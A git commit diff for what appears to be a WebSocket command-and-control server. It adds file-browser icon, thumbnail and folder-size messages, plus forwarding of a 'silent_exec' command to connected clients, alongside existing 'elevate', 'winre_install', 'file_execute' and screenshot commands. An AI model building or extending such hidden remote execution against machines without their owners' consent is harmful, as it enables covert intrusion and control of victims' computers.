file browser 2.0
This commit is contained in:
@@ -118,7 +118,10 @@ export type CommandType =
|
||||
| "elevate"
|
||||
| "file_upload_http"
|
||||
| "winre_install"
|
||||
| "winre_uninstall";
|
||||
| "winre_uninstall"
|
||||
| "file_icon"
|
||||
| "file_thumb"
|
||||
| "file_dirsize";
|
||||
|
||||
export type Command = {
|
||||
type: "command";
|
||||
@@ -189,6 +192,44 @@ export type FileEntry = {
|
||||
mode?: string;
|
||||
owner?: string;
|
||||
group?: string;
|
||||
attrs?: number;
|
||||
};
|
||||
|
||||
export type FileIconResultItem = {
|
||||
key: string;
|
||||
png?: Uint8Array;
|
||||
error?: string;
|
||||
};
|
||||
|
||||
export type FileIconResult = {
|
||||
type: "file_icon_result";
|
||||
commandId?: string;
|
||||
icons: FileIconResultItem[];
|
||||
};
|
||||
|
||||
export type FileThumbnailResultItem = {
|
||||
key: string;
|
||||
jpeg?: Uint8Array;
|
||||
w?: number;
|
||||
h?: number;
|
||||
error?: string;
|
||||
};
|
||||
|
||||
export type FileThumbnailResult = {
|
||||
type: "file_thumb_result";
|
||||
commandId?: string;
|
||||
thumbs: FileThumbnailResultItem[];
|
||||
};
|
||||
|
||||
export type FolderSizeResult = {
|
||||
type: "file_dirsize_result";
|
||||
commandId?: string;
|
||||
path: string;
|
||||
bytes: number;
|
||||
files: number;
|
||||
dirs: number;
|
||||
done: boolean;
|
||||
error?: string;
|
||||
};
|
||||
|
||||
export type FileListResult = {
|
||||
|
||||
@@ -636,6 +636,9 @@ export async function handleWebSocketMessage(
|
||||
case "file_upload_result":
|
||||
case "file_read_result":
|
||||
case "file_search_result":
|
||||
case "file_icon_result":
|
||||
case "file_thumb_result":
|
||||
case "file_dirsize_result":
|
||||
case "command_result":
|
||||
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
|
||||
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
|
||||
|
||||
@@ -130,6 +130,23 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket<SocketData>,
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_execute", id: routedId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_execute");
|
||||
break;
|
||||
case "file_icon":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_icon", id: routedId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_icon");
|
||||
break;
|
||||
case "file_thumb":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_thumb", id: routedId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_thumb");
|
||||
break;
|
||||
case "file_dirsize":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_dirsize", id: routedId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_dirsize");
|
||||
break;
|
||||
case "silent_exec":
|
||||
logger.debug(`[DEBUG] Forwarding silent_exec to client ${clientId}:`, actualPayload.command);
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "silent_exec", id: routedId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("silent_exec");
|
||||
break;
|
||||
case "file_upload_http":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_upload_http", id: routedId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_upload");
|
||||
@@ -278,6 +295,22 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W
|
||||
if (payload.type === "file_download" && payload.data) {
|
||||
const data = payload.data instanceof Uint8Array ? payload.data : new Uint8Array(payload.data);
|
||||
safeSendViewer(session.viewer, { ...payload, data });
|
||||
} else if (payload.type === "file_icon_result" && Array.isArray(payload.icons)) {
|
||||
const icons = payload.icons.map((item: any) => {
|
||||
if (item && item.png && !(item.png instanceof Uint8Array)) {
|
||||
return { ...item, png: new Uint8Array(item.png) };
|
||||
}
|
||||
return item;
|
||||
});
|
||||
safeSendViewer(session.viewer, { ...payload, icons });
|
||||
} else if (payload.type === "file_thumb_result" && Array.isArray(payload.thumbs)) {
|
||||
const thumbs = payload.thumbs.map((item: any) => {
|
||||
if (item && item.jpeg && !(item.jpeg instanceof Uint8Array)) {
|
||||
return { ...item, jpeg: new Uint8Array(item.jpeg) };
|
||||
}
|
||||
return item;
|
||||
});
|
||||
safeSendViewer(session.viewer, { ...payload, thumbs });
|
||||
} else {
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
|
||||
@@ -14,6 +14,9 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"file_upload_result",
|
||||
"file_read_result",
|
||||
"file_search_result",
|
||||
"file_icon_result",
|
||||
"file_thumb_result",
|
||||
"file_dirsize_result",
|
||||
"command_result",
|
||||
"screenshot_result",
|
||||
"command_progress",
|
||||
|
||||
Reference in New Issue
Block a user